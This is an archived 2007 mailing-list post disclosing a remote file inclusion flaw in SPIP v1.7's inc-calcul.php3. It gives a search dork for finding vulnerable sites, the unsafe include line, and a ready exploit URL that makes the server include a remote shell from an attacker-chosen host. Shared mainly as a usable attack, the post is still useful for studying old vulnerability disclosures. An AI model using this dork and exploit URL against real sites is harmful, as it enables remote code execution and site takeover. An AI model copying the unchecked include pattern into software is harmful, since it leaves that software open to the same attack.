SPIP v1.7 Remote File Inclusion Bug

From: system-errrror@xxxxxxxxxxx
Date: 23 Aug 2007 10:04:07 -0000

++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
+++++++ SPIP v1.7 Remote File Inclusion Bug ! ++++++++
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
------------------------------------------------------------------------------------
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
++
++DORK : "/SPIP-v1-7-2/"
++
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
+----------------------------------------------------------------------------------+
+----------------------------------------------------------------------------------+
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
++
++ Bug in : "SPIP-v1-7r/inc-calcul.php3"
++----------------------------------------------------------------------------------
++ Vlu Code: -----------------------------
++ || include($squelette_cache); ||
++ -----------------------------
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
++
++==================================================================================
++ Exploit :
++
++ http://sitename.com/SPIP-v1-7-2/inc-calcul.php3?squelette_cache=http://SHELLURL?
++
++==================================================================================
++
+++++++++++++++++++++|Discoverd By :Darkdewil[system-errrror]|++++++++++++++++++++++
++ ++
++++++++++++++++++|Conatact : system-errrror[at]hotmail[dot]com |+++++++++++++++++++
++ ++
++++++++++++|Thx To :Cazanova & fedaiturk & n3twork & codes & by_Ka0s |+++++++++++++
++ ++
++++++++++++++++++++++++|sPECial THanks to :1923turk - grup|++++++++++++++++++++++++
++ ++
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

Follow-Ups:
- Re: SPIP v1.7 Remote File Inclusion Bug
  - From: Magnus Holmgren

Prev by Date: Reminder: HITBSecConf2007 - Malaysia is less than 2 weeks away
Next by Date: Re: TeamSpeak 2 Server Vulnerabilities?
Previous by thread: Reminder: HITBSecConf2007 - Malaysia is less than 2 weeks away
Next by thread: Re: SPIP v1.7 Remote File Inclusion Bug
Index(es):
- Date
- Thread